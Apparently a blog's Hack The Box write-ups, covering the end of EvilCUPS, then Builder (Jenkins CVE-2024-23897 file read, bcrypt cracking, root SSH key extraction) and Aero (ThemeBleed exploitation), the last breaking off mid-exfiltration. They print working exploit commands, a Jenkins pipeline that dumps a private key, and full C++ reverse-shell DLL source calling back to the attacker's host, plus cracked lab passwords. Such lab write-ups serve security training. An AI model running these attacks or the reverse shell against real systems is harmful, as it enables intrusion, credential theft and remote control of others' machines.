lp does have read access to files in the cache, as long as the exact file name within the directory is provided. The CUPS documentation here states how job files are named:

... control files starting with the letter "c" ("c00001", "c99999", "c100000", etc.) and data files starting with the letter "d" ("d00001-001", "d99999-001", "d100000-001", etc.) ...

So, to view a data file, the format would be d<job_id>-<sequence_number>. As shown earlier in the web interface, the Jobs page displayed active and completed jobs, with one completed job listed having the ID "Canon_MB2300_series-1":

"1" in "Canon_MB2300_series-1" corresponds to the job ID. Thus, the file name for the first sequence of the first job would be d00001-001. Since lp had read access to jobs in the cache, I could read the PostScript data from /var/spool/cups/d00001-001. This revealed the contents of pass.txt, which contained the password Br3@k-G!@ss-r00t-evilcups:

lp@evilcups:~$ cat /var/spool/cups/d00001-001
%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
%%CreationDate: Sat Sep 28 09:31:01 2024
%%Orientation: Portrait
%%Pages: (atend)
%%DocumentMedia: A4 595 842 0 () ()
%%DocumentNeededResources: (atend)
%%EndComments
%%BeginProlog
%%BeginResource: procset Enscript-Prolog 1.6.5 90
%
% Procedures.
%

<...snip...>

/fname (pass.txt) def
/fdir (.) def
/ftail (pass.txt) def
% User defined strings:
/fmodstr (Sat Sep 28 09:30:10 2024) def
/pagenumstr (1) def
/user_header_p false def
/user_footer_p false def
%%EndPageSetup
do_header
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
%%Trailer
%%Pages: 1
%%DocumentNeededResources: font Courier-Bold Courier 
%%EOF

d00001-001 could also be copied locally and then converted into a PDF, which shows what was actually printed on the page:

┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ ps2pdf d00001-001 d00001-001.pdf

d00001-001.pdf:

I used this password to log in as the root user:

lp@evilcups:~$ su -
Password: 
root@evilcups:~# id
uid=0(root) gid=0(root) groups=0(root)
root@evilcups:~# ls
root.txt

Hack The Box - Builder

Thu, 29 Aug 2024 00:00:00 GMT

Builder is a Linux machine running a version of Jenkins with an arbitrary file read vulnerability via the CLI (CVE-2024-23897). This vulnerability can be exploited to extract a password hash for a user, which can then be cracked to gain access to the Jenkins instance. Privilege escalation can be achieved in two ways: first, by exposing the root SSH key through a pipeline script, and second, by decrypting an SSH key stored in the global credentials. The retrieved key allows SSH login as root.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.10    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 10:04 EDT
Nmap scan report for 10.10.11.10
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
|_http-server-header: Jetty(10.0.18)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.73 seconds

I visited the Jenkins instance at http://10.10.11.10:8080:

As shown in the bottom right of the page above, the installed version is Jenkins 2.441. According to this security advisory from Jenkins, version 2.441 is affected by CVE-2024-23897, an arbitrary file read vulnerability through the CLI that can lead to RCE.

The security advisory notes that Jenkins uses the args4j library to handle CLI command arguments, which includes a feature that replaces an @ followed by a file path with the file's contents. This feature is enabled by default and remains active in Jenkins versions 2.441 and earlier, including LTS 2.426.2 and earlier.

So next, I needed to get the CLI client. The Jenkins documentation here states that it can be downloaded directly from the Jenkins controller at the URL JENKINS_URL/jnlpJars/jenkins-cli.jar:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ wget 10.10.11.10:8080/jnlpJars/jenkins-cli.jar
--2024-08-26 10:07:49--  http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar
Connecting to 10.10.11.10:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3623400 (3.5M) [application/java-archive]
Saving to: ‘jenkins-cli.jar’

jenkins-cli.jar        100%[=========================>]   3.46M  2.03MB/s    in 1.7s    

2024-08-26 10:07:50 (2.03 MB/s) - ‘jenkins-cli.jar’ saved [3623400/3623400]

Once jenkins-cli.jar was downloaded, running help listed the available commands:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
  add-job-to-view
    Adds jobs to view.
  build
    Builds a job, and optionally waits until its completion.
  cancel-quiet-down
    Cancel the effect of the "quiet-down" command.
  clear-queue
    Clears the build queue.
  connect-node
    Reconnect to a node(s)
  console
    Retrieves console output of a build.
  <...snip...>
  who-am-i
    Reports your credential and permissions.

For example, who-am-i showed that I was authenticated as anonymous:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 who-am-i
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Authenticated as: anonymous
Authorities:
  anonymous

To exploit the arbitrary file read vulnerability, I used the help command followed by '@/etc/passwd' which revealed the first line of /etc/passwd:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/etc/passwd'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

I could view environment variables by reading /proc/self/environ:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/proc/self/environ'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

<...snip...>

ERROR: No such command HOSTNAME=0f52c222a4ccJENKINS_UC_EXPERIMENTAL=https://updates.jenkins.io/experimentalJAVA_HOME=/opt/java/openjdkJENKINS_INCREMENTALS_REPO_MIRROR=https://repo.jenkins-ci.org/incrementalsCOPY_REFERENCE_FILE_LOG=/var/jenkins_home/copy_reference_file.logPWD=/JENKINS_SLAVE_AGENT_PORT=50000JENKINS_VERSION=2.441HOME=/var/jenkins_homeLANG=C.UTF-8JENKINS_UC=https://updates.jenkins.ioSHLVL=0JENKINS_HOME=/var/jenkins_homeREF=/usr/share/jenkins/refPATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin. Available commands are above.

In the above output, the HOME and JENKINS_HOME environment variables were set to /var/jenkins_home.

Jenkins stores basic user information such as usernames and the corresponding directory names in $JENKINS_HOME/users/users.xml. So in this case, it was /var/jenkins_home/users/users.xml, however, only the first line was printed when trying to read the file with the help command:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 help '@/var/jenkins_home/users/users.xml'  
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: Too many arguments: <hudson.model.UserIdMapper>
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: <?xml version='1.1' encoding='UTF-8'?>)

After trying some different commands, I found that connect-node printed several more lines, revealing the directory name jennifer_12108429903186576833 for the user jennifer:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/var/jenkins_home/users/users.xml' 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
      <string>jennifer_12108429903186576833</string>: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
  <idToDirectoryNameMap class="concurrent-hash-map">: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
    <entry>: No such agent "    <entry>" exists.
      <string>jennifer</string>: No such agent "      <string>jennifer</string>" exists.
  <version>1</version>: No such agent "  <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
  </idToDirectoryNameMap>: No such agent "  </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
    </entry>: No such agent "    </entry>" exists.

Within Jenkins, more detailed user data could be found in:

$JENKINS_HOME/users/<user_directory_name>/config.xml

So I used the connect-node command to read config.xml for the user jennifer which contained a password hash:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ java -jar jenkins-cli.jar -s http://10.10.11.10:8080 connect-node '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<...snip...>
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
  <fullName>jennifer</fullName>: No such agent "  <fullName>jennifer</fullName>" exists.
      <seed>6841d11dc1de101d</seed>: No such agent "      <seed>6841d11dc1de101d</seed>" exists.
  <id>jennifer</id>: No such agent "  <id>jennifer</id>" exists.
  <version>10</version>: No such agent "  <version>10</version>" exists.
      <tokenStore>: No such agent "      <tokenStore>" exists.
          <filterExecutors>false</filterExecutors>: No such agent "          <filterExecutors>false</filterExecutors>" exists.
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: No such agent "    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>" exists.
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent "      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

I used JtR to crack the password:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess         (#jbcrypt)     
1g 0:00:00:00 DONE (2024-08-26 10:11) 3.125g/s 112.5p/s 112.5c/s 112.5C/s 123456..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

With the credentials, I signed in to the Jenkins instance as the user jennifer:

There are two ways to escalate privileges on this machine, one is by revealing the private SSH key for root through a pipeline script, and the other is decrypting the private SSH key for root from the global credentials.

Priv Esc Method: Pipeline Script

An SSH private key credential for root was stored in Dashboard → Manage Jenkins → Credentials → System → Global credentials (unrestricted):

To check the installed plugins, I went to Dashboard → Manage Jenkins → Plugins → Installed Plugins and found SSH Agent Plugin:

The SSH Agent Plugin is designed to manage the use of SSH credentials within a Jenkins job, allowing for commands to be run over SSH during the build process. This could be leveraged to print the private SSH key for the root user. To do this, first I went to the Dashboard page and created a job:

I chose the Pipeline option:

On the configuration page, I added the following Pipeline script:

node {
    stage('SSH') {
        sshagent(['1']) {
            sh 'ssh -o StrictHostKeyChecking=no root@10.10.11.10 "cat /root/.ssh/id_rsa"'
        }
    }
}

I clicked Save, and on the following page, Build Now:

Once the build completed, I clicked on it in Build History:

Then, I viewed the Console Output:

The SSH key was printed in the output:

I saved the key as root.key, changed the permissions to 600, and logged in over SSH:

┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ chmod 600 root.key
┌──(kali㉿kali)-[~/Desktop/HTB/Builder]
└─$ ssh -i root.key root@10.10.11.10
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)

<...snip...>

root@builder:~# whoami
root

Priv Esc Method: Decrypt Key from Global credentials

As shown in the previous method, an SSH private key credential for root was stored in Dashboard → Manage Jenkins → Credentials → System → Global credentials (unrestricted). I clicked update:

On the Update credentials page, there was a Private Key section with a key that was concealed for confidentiality:

Inspecting the element in dev tools revealed the encrypted key:

I copied the value from the encrypted key above and went to Dashboard → Manage Jenkins → Script Console. Then, I used the hudson.util.Secret.decrypt() method to decrypt the key:

println(hudson.util.Secret.decrypt("{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}"))

Same as the first method, the key could then be used to log in over SSH.

Hack The Box - Aero

Thu, 15 Aug 2024 00:00:00 GMT

Aero is a Windows machine hosting a website that allows users to upload custom Windows 11 themes. Due to a known RCE vulnerability in Windows Themes (CVE-2023-38146 aka ThemeBleed), this can be leveraged to obtain a shell on the box. Enumeration of the machine leads to the discovery of a document regarding CVE-2023-28252, a privilege escalation vulnerability in Common Log File System (CLFS). Checking the installed hotfixes on the system reveals that the patch for CVE-2023-28252 is missing; thus an existing PoC for CVE-2023-28252 can be modified to obtain a system shell.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Aero]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.237
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-07 13:06 EDT
Nmap scan report for 10.10.11.237
Host is up (0.040s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Aero Theme Hub
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.53 seconds

I visited the webpage on port 80 which was a Windows 11 theme repository:

The page had a section with a form where users could upload custom themes:

There were two supported extensions listed in the dropdown for file type within the browse dialog, *.theme and *.themepack:

So I tried to upload a file called test.theme which succeeded:

The success message indicated that the theme would be tested, suggesting it would likely be opened. This could be leveraged to get remote code execution by exploiting a known vulnerability in Windows 11 themes, CVE-2023-38146 aka ThemeBleed.

There's a PoC for ThemeBleed available on GitHub here.

As stated in the GitHub repo, in order to make a custom payload, a DLL needs to be created with in export named VerifyThemeVersion containing the code, then stage_3 within the data directory of the PoC needs to be replaced with the newly created DLL.

So, I switched to a Windows VM, opened Visual Studio, and created a new project with the Dynamic-Link Library (DLL) template:

On the next page, I named the project and set the location:

Within the project, I needed to add an export called VerifyThemeVersion to contain the custom payload. So first I added a new header file by going to the Solution Explorer and right clicking Header Files then Add → New Item... and named it rev.h.

In rev.h, I declared the exported function VerifyThemeVersion:

#pragma once

extern "C" __declspec(dllexport) int VerifyThemeVersion(void);

Also in the Header Files directory, I added rev.h to pch.h as a precompiled header:

// pch.h: This is a precompiled header file.
// Files listed below are compiled only once, improving build performance for future builds.
// This also affects IntelliSense performance, including code completion and many code browsing features.
// However, files listed here are ALL re-compiled if any one of them is updated between builds.
// Do not add files here that you will be updating frequently as this negates the performance advantage.

#ifndef PCH_H
#define PCH_H

// add headers that you want to pre-compile here
#include "framework.h"
#include "rev.h"

#endif //PCH_H

Then, in the Source Files directory, I added rev.cpp, which contains the reverse shell payload based on this template with a few adjustments. The main change is that the reverse shell code has been encapsulated in a function named rev_shell(), which is then invoked by the VerifyThemeVersion() function:

#include "pch.h"
#include <stdio.h>
#include <string.h>
#include <process.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#pragma comment(lib, "Ws2_32.lib")
using namespace std;

void rev_shell()
{
	FreeConsole();
	const char* REMOTE_ADDR = "10.10.14.64";
	const char* REMOTE_PORT = "9001";
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	struct addrinfo* result = NULL, * ptr = NULL, hints;
	memset(&hints, 0, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;
	getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result);
	ptr = result;
	SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol,
		NULL, NULL, NULL);
	connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	si.hStdInput = (HANDLE)ConnectSocket;
	si.hStdOutput = (HANDLE)ConnectSocket;
	si.hStdError = (HANDLE)ConnectSocket;
	TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE");
	CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, INFINITE);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	WSACleanup();
}

int VerifyThemeVersion(void)
{
	rev_shell();
	return 0;
}

I set the build configuration to Release and x64 before building the solution:

Build started at 11:56 AM...
1>------ Build started: Project: RevDLL, Configuration: Release x64 ------
1>rev.cpp
1>Generating code
1>Previous IPDB not found, fall back to full compilation.
1>All 1 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
1>Finished generating code
1>RevDLL.vcxproj -> C:\Users\mike\Desktop\HTB\Aero\rev_dll\RevDLL\x64\Release\RevDLL.dll
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
========== Build completed at 11:56 AM and took 03.634 seconds ==========

Once the build completed, I replaced stage_3 in the data directory of the PoC with the newly created DLL:

PS C:\Users\mike\Desktop\HTB\Aero\ThemeBleed > copy C:\Users\mike\Desktop\HTB\Aero\rev_dll\RevDLL\x64\Release\RevDLL.dll .\data\stage_3

I generated the theme with make_theme:

PS C:\Users\mike\Desktop\HTB\Aero\ThemeBleed > .\ThemeBleed.exe make_theme 10.10.14.64 exploit.theme
PS C:\Users\mike\Desktop\HTB\Aero\ThemeBleed > ls


    Directory: C:\Users\mike\Desktop\HTB\Aero\ThemeBleed


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          8/7/2024  12:03 PM                data
-a----          8/7/2024  12:12 PM            389 exploit.theme
-a----         7/29/2023   2:09 PM         410112 SMBLibrary.dll
-a----         5/19/2023  11:52 PM          26624 SMBLibrary.Win32.dll
-a----         9/12/2023   9:35 PM          19968 ThemeBleed.exe
-a----         9/12/2023   9:35 PM          48640 ThemeBleed.pdb

Attempting to start the server failed:

PS C:\Users\mike\Desktop\HTB\Aero\ThemeBleed > .\ThemeBleed.exe server

Unhandled Exception: System.Net.Sockets.SocketException: An attempt was made to access a socket in a way forbidden by its access permissions
   at System.Net.Sockets.Socket.DoBind(EndPoint endPointSnapshot, SocketAddress socketAddress)
   at System.Net.Sockets.Socket.Bind(EndPoint localEP)
   at SMBLibrary.Server.SMBServer.Start(IPAddress serverAddress, SMBTransportType transport, Int32 port, Boolean enableSMB1, Boolean enableSMB2, Boolean enableSMB3, Nullable`1 connectionInactivityTimeout)
   at SMBLibrary.Server.SMBServer.Start(IPAddress serverAddress, SMBTransportType transport, Boolean enableSMB1, Boolean enableSMB2)
   at SMBFilterDemo.Program.RunServer() in C:\Users\U\source\repos\SMBFilterDemo\SMBFilterDemo\Program.cs:line 63
   at SMBFilterDemo.Program.Main(String[] args) in C:\Users\U\source\repos\SMBFilterDemo\SMBFilterDemo\Program.cs:line 129

This was because port 445 was already in use, as Windows listens on this port by default for SMB. So to free up the port, I stopped the Server Windows service and set the startup type to disabled within Properties:

After rebooting the VM, I was able to start the server:

PS C:\Users\mike\Desktop\HTB\Aero\ThemeBleed > .\ThemeBleed.exe server
Server started

I also started a netcat listener:

PS C:\Users\mike\Desktop\HTB\Aero > c:\tools\netcat\nc.exe -lvnp 9001
listening on [any] 9001 ...

Then, I uploaded exploit.theme to the Aero webpage and received the following requests on the ThemeBleed server:

PS C:\Users\mike\Desktop\HTB\Aero\ThemeBleed > .\ThemeBleed.exe server
Server started
Client requested stage 1 - Version check
Client requested stage 1 - Version check
Client requested stage 1 - Version check
Client requested stage 1 - Version check
Client requested stage 1 - Version check
Client requested stage 1 - Version check
Client requested stage 1 - Version check
Client requested stage 2 - Verify signature
Client requested stage 2 - Verify signature
Client requested stage 2 - Verify signature
Client requested stage 2 - Verify signature
Client requested stage 2 - Verify signature
Client requested stage 2 - Verify signature
Client requested stage 3 - LoadLibrary

Soon after uploading the theme, netcat caught a shell as sam.emerson:

PS C:\Users\mike\Desktop\HTB\Aero > c:\tools\netcat\nc.exe -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.11.237] 49685
Microsoft Windows [Version 10.0.22000.1761]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
aero\sam.emerson

C:\Windows\system32>cd \users\sam.emerson\desktop
cd \users\sam.emerson\desktop

C:\Users\sam.emerson\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is C009-0DB2

 Directory of C:\Users\sam.emerson\Desktop

09/20/2023  05:20 AM    <DIR>          .
09/20/2023  05:08 AM    <DIR>          ..
08/07/2024  01:30 PM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,069,128,704 bytes free

C:\Users\sam.emerson\documents contained CVE-2023-28252_Summary.pdf:

PS C:\Users\sam.emerson\documents> ls
ls


    Directory: C:\Users\sam.emerson\documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/21/2023   9:18 AM          14158 CVE-2023-28252_Summary.pdf
-a----         9/26/2023   1:06 PM           1113 watchdog.ps1

To exfiltrate the PDF, the document first needed to be converted to base64:

PS C:\Users\sam.emerson\documents> [convert]::ToBase64String((Get-Content -path "CVE-2023-28252_Summary.pdf" -Encoding byte))
[convert]::ToBase64String((Get-Content -path "CVE-2023-28252_Summary.pdf" -Encoding byte))
